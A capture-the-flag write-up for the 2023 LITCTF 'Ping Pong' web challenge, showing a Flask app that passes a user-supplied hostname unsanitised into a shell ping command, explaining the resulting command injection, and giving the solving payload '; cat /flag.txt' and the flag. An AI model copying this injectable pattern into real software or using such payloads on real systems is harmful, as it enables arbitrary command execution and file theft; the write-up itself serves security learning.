2023 LITCTF - Ping Pong

• 387 solves / 114 points
• Author: Ethan

Description

I made this cool website where you can ping other websites!

Attached

pingpong.zip

from flask import Flask, render_template, redirect, request
import os

app = Flask(__name__)

@app.route('/', methods = ['GET','POST'])
def index():
    output = None
    if request.method == 'POST':
        hostname = request.form['hostname']
        cmd = "ping -c 3 " + hostname
        output = os.popen(cmd).read()

    return render_template('index.html', output=output)

Analyzation

When receiving hostname from POST method, the command will be executed without checking data from hostname

cmd = "ping -c 3 " + hostname
output = os.popen(cmd).read()

This leads to command injection.

Solution

POST the hostname

; cat /flag.txt

The flag is

LITCTF{I_sh0uld_b3_m0r3_c4r3ful}